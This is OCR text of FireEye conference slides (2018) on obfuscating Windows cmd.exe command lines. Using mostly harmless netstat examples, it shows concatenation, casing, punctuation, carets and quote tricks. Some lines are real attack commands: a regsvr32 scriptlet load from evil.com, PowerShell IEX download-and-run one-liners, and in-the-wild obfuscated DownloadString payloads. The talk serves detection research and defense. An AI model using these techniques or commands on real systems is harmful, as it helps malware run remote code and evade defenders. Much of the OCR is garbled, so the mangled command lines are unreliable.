A regsvr32.exe -s -n -u -i:https:\\evil.com\a scrobj.dll

)
(3) . .
90 COPYRIGHT © 2018, FIREEYE, INC. ALL RIGHTS RESERVED. / ’\c FI re Eye



Payload Obfuscation 1 of 4: Concatenation

A cmd /c netstat /ano

1

I and / interchangeability

A More examples:
A wscriptexe-n ol ogo é
A powershell.exe Inop /nonile nc é
A regsvr32.exe -s -n -u -i:https:\\evil.com\a scrobj.dll

PS C:\> IEX (IWR http:[¥bit.1y/L3glt).Content
SUCCESSFULLY EXECUTED POWERSHELL CODE FROM REMOTE LOCATION

PS C:\> IEX (IWR http:[f{bit.1ly/L3glt).Content
SUCCESSFULLY EXECUTED POWERSHELL CODE FROM REMOTE LOCATION
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Payload Obfuscation 1 of 4: Concatenation

Acmd /c "set com=netstat /ano&&echo %com%"

©
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Payload Obfuscation 1 of 4: Concatenation

Acmd /c "set com=netstat /ano&&echo %com%"

C:\>cmd /c "set com=netstat /ano&&echo %com’%"
%COMm%

C:\>cmd /c "set com=netstat /ano&&[&EEMl echo %com%"

netstat /ano

C:\>cmd /c "set com=netstat /ano&&EiIIAE echo %comd%"

netstat /ano
)
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Payload Obfuscation 1 of 4: Concatenation

Acmd /c "set com=netstat /ano&&call %com%"

C:\>cmd /c "set com=netstat /ano&&echo %com’%"
%COMm%

C:\>cmd /c "set com=netstat /ano&&[&EEMl echo %com%"

netstat /ano

C:\>cmd /c "set com=netstat /ano&&EiIIAE echo %comd%"

netstat /ano
)
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Payload Obfuscation 1 of 4: Concatenation

Acmd /c "set com=netstat /ano&&call %com%"

C:\>cmd /c

"set com=netstat /ano&&[EIMl

Active Connections

Proto
TCP
TCP
TCP

Address
o I

49664

o/ 1

%comdb

State

LISTENING
LISTENING
LISTENING

)
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Payload Obfuscation 1 of 4: Concatenation

Acmd /c "set coml=net&&set com2=stat&&set com3= /ano&&call
%coml1%%com2%%com3%"

Image: C:\Windows\System32\cmd.exe
CommandLine: cmd /c "set comT1=net&&set com2=stat&&set com3= /ano&&call %%com1%%%%com2%%%%com3%%"

Parentimage: C:\Windows\System32\cmd.exe
ParentCommandLine: cmd /c "set com1=net&&set com2=stat&&set com3= /ano&&call %com1%%com2%%com3%"

©
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Payload Obfuscation 1 of 4: Concatenation

Acmd /c "set coml=net&&set com2=stat&&set com3= /ano&&call
%com1%%com2%%com3%"

http://www.danielbohannon.com/blog-1/2018/3/19/test-your-dfir-tools-sysmon-edition
#TestYourTools:

A Sysmon EID 1 CommandLine adds duplicate %'s
A EventVwr.exe

A PowerShell's Get-WinEvent

Image: C:\Windows\System32\cmd.exe l I I I I I

CommandLine: cmd /c "set comT1=net&&set com2=stat&&set com3= /ano&&call %%com1%%%%com2%%%%com3%%"

Parentimage: C:\Windows\System32\cmd.exe
ParentCommandLine: cmd /c "set com1=net&&set com2=stat&&set com3= /ano&&call %com1%%com2%%com3%"

©
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http://www.danielbohannon.com/blog-1/2018/3/19/test-your-dfir-tools-sysmon-edition

Payload Obfuscation 1 of 4: Concatenation

Acmd /c "set coml=net&&set com2=stat&&set com3= /ano&&call
%com1%%com2%%com3%"

|

A Reorder substrings
A Set into single final env var

)
98 COPYRIGHT © 2018, FIREEYE, INC. ALL RIGHTS RESERVED. / I(b FI re Eye



Payload Obfuscation 1 of 4: Concatenation

Acmd /c "set com3= /ano&&set com2=stat&&set coml=net&&call
%com1%%com2%%com3%"

|

A Reorder substrings
A Set into single final env var

)
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Payload Obfuscation 1 of 4: Concatenation

Acmd /c "set com3= /ano&&set com2=stat&&set coml=net&&call set
final=%com1%%com2%%com3%&&call %final%"

|

A Reorder substrings
A Set into single final env var

)
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Payload Obfuscation 1 of 4: Concatenation

Acmd /c "set com3= /ano&&set com2=stat&&set coml=net&&call set
final=%com1%%com2%%com3%&&call %final%"

Final syntax l Invoke-DOSfuscation arguments

ahwN e
abkrowphE

)
101 COPYRIGHT © 2018, FIREEYE, INC. ALL RIGHTS RESERVED. / I(> FI reEye



Payload Obfuscation 1 of 4: Concatenation

Acmd /c "set com3= /ano&&set com2=stat&&set coml=net&&call set
final=%com1%%com2%%com3%&&call %final%"

Final syntax l Invoke-DOSfuscation arguments
call %final% (default when possible)

1.
2.
3.
4
5

1.
2.
3.
4
5

)
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Payload Obfuscation 1 of 4: Concatenation

Acmd /c "set com3= /ano&&set com2=stat&&set coml=net&&call set
final=%com1%%com2%%com3%&&call %final%"

Final syntax l Invoke-DOSfuscation arguments
1. call %final% 1. (default when possible)
2. cmd /c %final% 2. -FinalBinary cmd
3. 3.
4. 4.
5 5

)
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Payload Obfuscation 1 of 4: Concatenation

Acmd /c "set com3= /ano&&set com2=stat&&set coml=net&&call set
final=%com1%%com2%%com3%&&call %final%"

Final syntax l Invoke-DOSfuscation arguments

call %final% (default when possible)

cmd /c %final% -FinalBinary cmd
call echo %final% | cmd -FinalBinary cmd -StdIn

abkrowphE

abkhowbhE

)
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Payload Obfuscation 1 of 4: Concatenation

Acmd /c "set com3= /ano&&set com2=stat&&set coml=net&&call set
final=%com1%%com2%%com3%&&call %final%"

Final syntax

l Invoke-DOSfuscation arguments

call %final%

cmd /c %final%

call echo %final% | cmd
call powershell "%final%"

abkhowbhE

abkrowphE

(default when possible)
-FinalBinary cmd
-FinalBinary cmd -StdIn
-FinalBinary PowerShell
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Payload Obfuscation 1 of 4: Concatenation

Acmd /c "set com3= /ano&&set com2=stat&&set coml=net&&call set
final=%com1%%com2%%com3%&&call %final%"

Final syntax l Invoke-DOSfuscation arguments

call %final%

cmd /c %final%

call echo %final% | cmd

call powershell "%final%"

call echo %final% | powershell -

abkhowbhE

abkrowphE

(default when possible)
-FinalBinary cmd
-FinalBinary cmd -StdIn
-FinalBinary PowerShell

-FinalBinary PowerShell -StdIn
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Payload Obfuscation 1 of 4: Concatenation

Acmd /c "set com3= /ano&&set com2=stat&&set coml=net&&call set
final=%com1%%com2%%com3%&&call %final%"

107 COPYRIGHT © 2018, FIREEYE, INC. ALL RIGHTS RESERVED.

Invoke-DOSfuscation functions also

wrap all the building block techniques

Il nto each 1T nput

cCoO

mmand é

)
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Payload Obfuscation 1 of 4: Concatenation

A CMd /C "sEt coM3= /ano&&SEt cOm2=stat&&seT CoMl=net&&call SeT
fINAI=%COM1%%cOm2%%coM3%&&CAIL %FinAl%"

Random case

Too oo o o o

108 COPYRIGHT © 2018, FIREEYE, INC. ALL RIGHTS RESERVED.

Invoke-DOSfuscation functions also

wrap all the building block techniques

Il nto each 1T nput

cCoO

mmand é

)
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Payload Obfuscation 1 of 4: Concatenation

A CMd/C"sEt coM3= /ano&&SEt cOm2=stat&&seT CoMl=net&&call SeT
fINAI=%COmM1%%cOm2%%coM3%&&CcAIL %FinAl%"

A Random case
A Whitespace (-/+)

Too o o
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Invoke-DOSfuscation functions also

wrap all the building block techniques

Il nto each 1T nput

cCoO

mmand é

)
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Payload Obfuscation 1 of 4: Concatenation

ACMd /C " sEt coM3=/ano&& SEt

SeT fINAI=%COmM1%%cOm2%%coM3%&& CcAIL %FinAl%

A Random case
A Whitespace (-/+)

Too o o
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Invoke-DOSfuscation functions also

wrap all the building block techniques

Il nto each 1T nput

cCoO

cOm2=stat&& seT CoMl=net&& -call

mmand é

)
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Payload Obfuscation

A:.CcMd,; ./C ", : :sEt

1 of 4: Concatenation

coM3= /ano&&,,,.SEt cOm2=stat&&;:;seT CoMl=net&&,
‘calLl;;,;SeT fiINAI=%COmM1%%cOm2%%coM3%&&; , ,CAIL, :, ;%FIinAl% "

A Random case

A Whitespace (-/+)

A Comma & semicolon
A

A
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Invoke-DOSfuscation functions also

Il nto each 1T nput

wrap all the building block techniques

cCoO

mmand é

)
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Payload Obfuscation 1 of 4: Concatenation

A;,CAMdA,; NACAA™ . SAEt A A COAMB=AM /Manfo&a.,,, SAEA A
ACONM2=ASMEaMI&S:;;;sheTA A CRoM1A=AnMet8&, ;chall,;,SAenT A A
fIANAIR=A%6COM1A%%CA0M2%A%CAOM3A%EE; , ,CPAILA, ;A \%FiANAING,

A Random case Invoke-DOSfuscation functions also

A Whitespace (-/+) wrap all the building block techniques

A Comma & semicolon Il nto each i1 nput commandEé
A Caret

A

©
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Payload Obfuscation 1 of 4: Concatenation

A;,,CMAR,;  AACA A (G (SMEL A A coMMB=M [Manno)) )))&&,,(, S EN A
ACOMNM2="s MM )&&(;(;;s7eTA ~ CroMIA="nMet) ) &&, (( ;chall,y;,ShenT An
fiIANAIN=A%COM1%%c "OM2%"%C oM3"%))&S:; (, ,(CMAIL, 3, ;%FiAnAIN%) )

A Random case Invoke-DOSfuscation functions also

A Whitespace (-/+) wrap all the building block techniques

A Comma & semicolon Il nto each i1 nput commandEé
A Caret

A Parentheses

©
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Payload Obfuscation 1 of 4: Concatenation

A;,,CAMAR,; AACA A, (((G((SMEE A A COMMB=M /Manno)) )))&&,,(,SME A
ACOMNM2="sMaM)&&(;(;;s7eTA A CroMIM="nMet) ) &&, ((;chall,y;,ShenT An
fiIANAIN=A%COM1%%Cc "OM2%"%C oOM3"%))&&:; (, ,(CPAILA, ;A ;%FitAINYG) )

netstat /ano

*
cMd ,; J/C M ((G,((sMEL AN cOMM3= /[Man™0)) )))&&,,(,SMEN A
AcOMNM2="sMaM) &&(;(;87e TN A CroMIN="nMet) ) &&, (( ;c™aLl,®;,S™e T A
N FI'NAIN="%%COmM1"%%%%c "Om2%%"%%c "oM3"%%))&&; (, ,(cMAILA, ;A
:%0%FI"nAl"%%) ) "

)
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Payload Obfuscation 1 of 4: Concatenation

A;,,CAMAR,; AACA A (((G((SMEE A A COMMB=M /Manno)) )))&&,,(,SME A
ACOMM2="S MM &&(; (55" eTA A CroMIA="nel™ ) ) &&, (( ;chaLl,n;,SherT A A
fIANAIN=A%COM1%%c "OM2%"%C oOM3"%))&&:; (, ,(CPAILA, ;A ;%FitnAINYG) )

ne""tstat /ano

*
cMd ,; J/C M ((G,((sMEL AN cOMM3= /[Man™0)) )))&&,,(,SMEN A
AeOMM2="sMaM) &&(; (87 e TN A CroMIN="nMe""t) ) &&, (( ;c"aLl,®;,,Se T
AN FINNAIN="%%COmM 1% %% %c " Om2%%"%%c "oM3"%%))&&; (, ,(CAILA,
;N %%FIMnAIN%%) )

)
5) . X
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Payload Obfuscation 1 of 4: Concatenation

A;,,CAMAR,; AACA A (((G((SMEE A A COMMB=M /Manno)) )))&&,,(,SME A
ACOMM2="S MM &&(; (55" eTA A CroMIA="nel™ ) ) &&, (( ;chaLl,n;,SherT A A
fIANAIN=A%COM1%%c "OM2%"%C oOM3"%))&&:; (, ,(CPAILA, ;A ;%FitnAINYG) )

ne'""tstat /ano
VS
n"e"tstat /ano

)
5) . X
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Payload Obfuscation 1 of 4: Concatenation

A;,,CAMAR,; AACA A (G ((SMEE A A COMMB=M /Manno)) )))&&,,(,SME A
ACOMM2="S MM &&(; (55" eTA A CroMIA="n"Met) ) &&, (( ;chaLl,’;,SherT A A
fIANAIN="%COM1%%c "OM2%"%C oOM3"%))&&:; (, ,(CPAILA, ;A ;%FitnAINYG) )

ne'""tstat /ano
VS
n"e"tstat /ano

)
5) . X
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Payload Obfuscation 1 of 4: Concatenation

A;,.CMdA,; NACA A" ((G((SPELA A corMB=
ACONM2="sMaM)&&(;(;;s"eTA A CroM1A=
fiIANAIN=A06COM1%%C OM2%\%C oM3"%6)

"0)) )))&&,,(,SNE" A
) &&, ((;chaLl,”;,ShenT A A
(CPAILA, ;N 1%FirnAINYG) )

If we have to pair double ne""tstat /ano
guotes, how can we unpair VS
In final variable? n"e"tstat /ano

)
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Payload Obfuscation 1 of 4: Concatenation

A;,,CAMAR,; AACA A (G ((SMEE A A COMMB=M /Manno)) )))&&,,(,SME A
ACOMM2="S MM &&(; (55" eTA A CroMIA="n"Met) ) &&, (( ;chaLl,’;,SherT A A
fIANAIN="%COM1%%c "OM2%"%C oOM3"%))&&:; (, ,(CPAILA, ;A ;%FitnAINYG) )

A Steps for unpaired quotes ne""tstat /ano
1. VS
g- n"e"tstat /ano
4

)
5) . X
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Payload Obfuscation 1 of 4: Concatenation

A, CAMAA; NACA AT ((Go((SPEL A A coMM3=M [Manno)) )))&&,,(,SAE A
ACOMM2="SMaMD&E((SheTA A CroMIA= A" Mel ™) ) &&, ((;chall, A, ShenT A A
fi'NAIN="06COM1°%%Cc "OM2%"%c oM37%))&&: (, ,(CPAILA, @~ :%FiAnAIN%) )

A Steps for unpaired quotes ne""tstat /ano
1. Double up quotes VS
g- n"e"tstat /ano
4

)
5) . X
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Payload Obfuscation 1 of 4: Concatenation

A CAMAA; NMACA A" (G ((SPEL A A coMM3=M [Manto)) )))&E,,(,SE A
AcOMNmM2="s"ta™M)&&(;(;;s"eTAr A CroMIN="n""Me""t) ) &&set quotes=""&&, ((
chall A, SheAT A A FIANAIN=A%COM1%%Cc OM2% %Cc oM37%))&&; (, ,(CPAILA, @ A
06FitNAING) )

A Steps for unpaired quotes ne""tstat /ano
1. Double up quotes VS
2. Setquotes in env var n"e"tstat /ano
3.
4

)
5) . X
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Payload Obfuscation 1 of 4: Concatenation

A CAMAA; NMACA A" (G ((SPEL A A coMM3=M [Manto)) )))&E,,(,SE A
AcOMNm2="s"ta™M)&&(;(;;s"eTr A CroMIN="n""Me""t) ) &&set quotes=""&&, ((
chall A, SheAT A A FIANAIN=A%COM1%%Cc OM2% %Cc oM37%))&&; (, ,(CPAILA, @ A
=T %)) "

A Steps for unpaired quotes ne""tstat /ano
1. Double up quotes VS
2. Set guotes in env var n"e"tstat /ano
3. Char substitution
4

)
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Payload Obfuscation 1 of 4: Concatenation

A CAMAA; NMACA A" (G ((SPEL A A coMM3=M [Manto)) )))&E,,(,SE A
AcOMNm2="s"ta™M)&&(;(;;s"eTr A CroMIN="n""Me""t) ) &&set quotes=""&&, ((
chall A, SheAT A A FIANAIN=A%COM1%%Cc OM2% %Cc oM37%))&&; (, ,(CPAILA, @ A
QHFitNAIN " = %)) "

A Steps for unpaired quotes ne""tstat /ano
1. Double up quotes VS
2. Set guotes in env var n"e"tstat /ano
3. Char substitution
4

)
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Payload Obfuscation 1 of 4: Concatenation

A;,,CrMdr; ANACAAT (G, (CG(SMEE A A co™M3=M [Man™o)) ))&E&,,(,SME A
" OMm2="sMaM) &&(;(;;s™e TN A CroMIN="n""Me""t) ) &&set quotes=""&&, ((
,c™aLln;, S™e " T M M iItNAIN="%COm1"%%c"Om2%"%c oM3"%))&&; (, ,(chAILA, ;A
Q%FIM"nAIN""=%quotes:~0,1%%) ) "

A Steps for unpaired quotes ne""tstat /ano
1. Double up quotes VS
2. Set guotes in env var n"e"tstat /ano
3. Char substitution
4

)
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Payload Obfuscation 1 of 4: Concatenation

A CAMAA; NMACA A" (G ((SPEL A A coMM3=M [Manto)) )))&E,,(,SE A
AcOMM2="s"Ma M) &&(;(;;seTAr A CroMIN="n""Me""t) ) &&set quotes=""&&, ((
.cMaLl,n;, SMhe NN A fi"NAI":"Oﬁ Om17%%c*"Om2%"%c oM3"%))&&; (, ,(ChAILA, ;A

;%Fi"nAI":""uotes:~O, % 0)) "
A Steps for unpaired quotes ne""tstat /ano
1. Double up quotes VS

2. Set guotes in env var n"e"tstat /ano
3. Char substitution
4

)
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Payload Obfuscation 1 of 4: Concatenation

A:,,CAMdA; IVISTA NMACA A" (G, ((SPEL A A coMM3=M [Manto)) )))&&,,(,SAE A
AcOMNM2="s"ta™M)&&(;(;;s”e T A CroM1N="n""Me""t) ) &&set quotes=""&&, ((
.chall, N, ShenT A A fIrNAIN=A%HCOM LM% % OM2% % oM37%))&E&; (, ,(CPAILA, ;A

QFIMnAIN" " =%quotes:~0,1%%) ) "

A Steps for unpaired quotes
1. Double up quotes

Set quotes in env var

2.
3. Char substitution
4, 7?77
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tstat /ano
VS

e'tstat /ano

HH — Windows Vista
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Payload Obfuscation 1 of 4: Concatenation

A:,,CAMdA; IVISTA NMACA A" (G, ((SPEL A A coMM3=M [Manto)) )))&&,,(,SAE A
AcOMNM2="s"ta™M)&&(;(;;s”e T A CroM1N="n""Me""t) ) &&set quotes=""&&, ((
.chall, N, ShenT A A fIrNAIN=A%HCOM LM% % OM2% % oM37%))&E&; (, ,(CPAILA, ;A

%FI"nAIM""=lquotes:~0,1!%) ) "

A Steps for unpaired quotes
1. Double up quotes
Set quotes in env var

2.
3. Char substitution
4, 7?77
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tstat /ano
VS

e'tstat /ano

HH — Windows Vista

)
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Payload Obfuscation 1 of 4: Concatenation

A;,,C*Md™,; IVISTA ANACAA" (G, ((SMEE M A co™M3=" [Man™o)) ))&&,,(,SME A
cOMM2="s"ta™) &&(;(;;seTr A CroMIN="n""Me""t) ) &&set quotes=""&&, ((
,chaLl,®;, S™herT AN M FINAIN="% COmM12%%c "Om2%"%c "oM3"%))&&; (, ,(cMAILA, ;A
9FIMnAIN""=Iquotes:~0,1!%) ) "

i 1\>;,,C"Md", 5 JVISTA ,~/~Cr ~ ", (G, (5 (s™Et » » co™M3=rr /*ant0))  )))&R,, (
A Steps for unpaired quotes T Nt a s B8 (3 sme T A ot n ety ) Gect quotees i
&, (( ;craLl,”;,S”e T ~ ~ fi*NA1~=~%COM1 %%C Om2% %Cc 0M3"%))&&; (, ,(c~AlL™, ;,7
1. Double up quotes [%FiAnALA: "o ~0,11%) ) "
. 37 :""=lquotes:~0,1!%) )
2. Set CIUOteS |n env var Active Connections
3. Char substitution Proto State
TCP .0.0.0:13 .0.0.0: LISTENING
4. 777 TCP .0.0.0: .0.0.0: LISTENING

TCP .0.0.0: .0.0.0: LISTENING

CommandLine: fRERSEIE )

5
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Payload Obfuscation 1 of 4: Concatenation

A, ,.C™Mdn,; IVISTA NACAA" ((G,((SMEE A A co™M3=" [Man”o)) ))&&,,(,SME A
"cOMm2="sMa™M) &&(;(;;8e TN A CroMIN="n""Me""t) ) &&set quotes=""&&, ((
;c™aLl,®;,SMeNT M M FIrNAIN="%COmM1"%%c*"Om2%"%c "oM3"%))&&; (, ,(cMAILA, ;A

QFIM"nAIN """ =lquotes:~0,11%) ) "

C:\>cmd.exe /?
Starts a new instance of the Windows command interpreter

A Steps for unpaired quotes R AR T Lrv:oN | fv:0FF]
1. Double up quotes carries out on terminates
2. Set quotes in env var . hedifies th : ee below)
3. Char substitution e \ = b Gt
4. 777 Eﬁziszethe ir file to be

Sets the fo ? for more info)
Enable comm

Disable com

Enable file rs (see below)

: Disable fil ers (see below)
‘ : Enable delayed environment variable expansion using ! as the
delimiter. For example, /V:ON would allow !var! to expand the

variable var at execution time. | RLEINEISESENEEV (]l ERRETSEL I
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Payload Obfuscation 1 of 4: Concatenation

A, ,.C™Mdn,; IVISTA NACAA" ((G,((SMEE A A co™M3=" [Man”o)) ))&&,,(,SME A
"cOMm2="s"ta™) &&(;(;;seTr N CroMIN="n""Me""t) ) &&set quotes=""&&, ((
.c™aLl, ™, She AT M M INAIN="%6COmM11%%c*"Om2%"%c oM3"%))&&; (, ,(chAILA, ;A

2%FI"nAINM""=lquotes:~0,1!%) ) "

C:\>cmd.exe /?
Starts a new instance of the Windows command interpreter

A Steps for unpaired quotes A IV:ON | SRR [/V:ON | /V:0FF]

[[/s] [/c | /K]

1- DOUbIe up qUOteS A /VO Carries out en terminates
Set quotes in env var A IV odifies th \ e below)

Turns echo

2.
3. Char substitution AV, pisable exe[ANS =4 y (see below)
4

Causes the br file to be ANSI

Variable expansion Causes the r file to be

Unicode

Sets the fo ? for more info)
Enable comm

Disable com

Enable file rs (see below)

: Disable fil ers (see below)
‘ : Enable delayed environment variable expansion using ! as the
delimiter. For example, /V:ON would allow !var! to expand the

variable var at execution time. | RLEINEISESENEEV (]l ERRETSEL I

)
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Payload Obfuscation 1 of 4: Concatenation

A, ,.C™Mdn,; IVISTA NACAA" ((G,((SMEE A A co™M3=" [Man”o)) ))&&,,(,SME A
"cOMm2="s"ta™) &&(;(;;seTr N CroMIN="n""Me""t) ) &&set quotes=""&&, ((
.c™aLl, ™, She AT M M INAIN="%6COmM11%%c*"Om2%"%c oM3"%))&&; (, ,(chAILA, ;A

2%FI"nAINM""=lquotes:~0,1!%) ) "

C:\>cmd.exe /?
Starts a new instance of the Windows command interpreter

. cMD [/A | /U] [/Q] [/ViON | /V:OFF]
/V:ON [[/s] [/c | /K]

/\/:(:) Carries out en terminates

A Steps for unpaired quotes
1. Double up quotes

2. Set quotes in env var IV \ hedifies th \ 2% below

. . Turns echo
3. Char substitution N oisable excllN = y (see belon)
4. Variable expansion IVISTA Causes the r file to be

/\V/qu : Sets the fo ? for more info)

Enable comm

/V* : Disable com
: Enable file rs (see below)
: Disable fil ers (see below)
‘ : Enable delayed environment variable expansion using ! as the

delimiter. For example, /V:ON would allow !var! to expand the

variable var at execution time. | RLEINEISESENEEV (]l ERRETSEL I

)
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Payload Obfuscation 1 of 4: Concatenation

A, ,C™Md”,; IVISTA ANCA A" (G, ((SMEE A~ coAM3=" [Man”o)) )))&&,,(,SME »
"cOrm2="s"ta™t)&&(;(;;s™eT » CroMIA="n""Me""l) ) &&set quotes=""&&, ((
;chaLln;, S™e " T A M FICNAIN="%COm1”* %%c* Om2%"%c*oM3*%))&&; (, ,(chAILA, ;A
YFIMnAlIMN""=Igquotes:~0,1!%) ) "

A Env var names can be:
1.
2.

)
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Payload Obfuscation 1 of 4: Concatenation

A, CAMAA,: IVISTA MACA A (((,((SPEL A A $H$S--=" [Manno)) )))&E,,(,SAE A

NIFHI=ASMAMD &E&(;(;;8eTN M e é . =™n"Me™t) ) &&set ;;iiinn="&&, ((
;chaLl, N, SNeAT A A I =N0AE @ | 006N AR 90"Y0--$H$--%0))&&; (, ,(CPAILA, ;N
;%IIIIIIIIIIIIIII:IIII:!;;;;;;;;;:~O,1!%)) 1

A Env var names can be:
1. Special characters
2.

)
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Payload Obfuscation 1 of 4: Concatenation

A, CMAA,: IVISTA NACA A" (G, ((SPEL AN =M [Man”o)) )))&&,,(,SAEN A A
="As™Mta™M) &&(;(;;se TN N ! ="n""Me") ) &&set! =""&&, ((;cMaLl,®;,SMe T AN
=706 %% %N %6))&&; (, ,(CPAILA, ;A% ™=I'  :~0,11%)) "

A Env var names can be:
1. Special characters
2. Whitespace

)
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Payload Obfuscation 1 of 4: Concatenation

.‘..‘.;‘-
.4,
)
imgflip.com

)
/ <© FireEye



Payload Obfuscation 1 of 4: Concatenation (ITW 1/3)

A Concatenation examples in the wild (1/3):

2L\ \Windows\System32\emd.exe /e "set @@=wersh&& set gf=ell&& set
€0-po&&" cmd /c oC0UAYeaRYe%08% -nonl -eP bypass -c iEx ((n"eW-OBjECt
(‘'n'+'Et.w'+'Ebclle’+'nT")).(‘'do'+'wNIlo'+'adst'+'ring").Invoke(('h'+$s4+'t'+'t'+$08
+'"' ps: /[ "' +6é

ﬁ!/oke-Obfuscation payload

©
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Payload Obfuscation 1 of 4: Concatenation (ITW 2/3)

A Concatenation examples in the wild (2/3):

CmD wMic & %Co"m"S™"p"Ec”% /V /c set
%binkOHOTJcSMBKQ%=EINhmPkdO&&set JOKIGIRIIFIS=owe \r s&&set
%zzwpVWCTCRDVTBuU%=pOwoJiQoW&&set CHIPULIXI%=p&&set
%GKZajcAgFZKRLZW%=NazJjhVIGSrXQvT&&set ="heMN"&&set

%QiiPPcnDM%
%jilZIKXbkZQMpuQ%=dipAbiiHE plZSHr&& ! CdjPULEXi% ' YeKigiRiiiF%! ' 26QiiP
PEABNIA! ".( $VeRbOsePReFERENCE.tOstRING()[1,3]+'X'-jOin") ( (. (
ctVpshoME[4]+ctVPsSHomE[34]+VnLXVnL)

|

Invoke-Obfuscation payload

©
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Payload Obfuscation 1 of 4: Concatenation (ITW 3/3)

A Concatenation examples in the wild (3/3):

cmd.exe /C "cm/dr.rerxe VA MC shet GBBR="er"s"&"&s"e’
Bfi="heNIn& &set” @A="pow" & & s et"
BEl-\v"i"n"do"wsFEIIGRCRINEATAN\ " 1.0\ IATEIAIG Ol 3. 8.
ech”o” IEAMXN"™"'iex(neW-OBjecT
nEt.webCLIiEnt).dowNIOaDstrING('https://REDACTED")M"A)A:A A
- _AnOApA AAWNANA AN AT

1

- == WindowsPowerShell\v1.0\powershell

)
5) . X
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Payload Obfuscation 2 of 4. FORcoding
FOR

©
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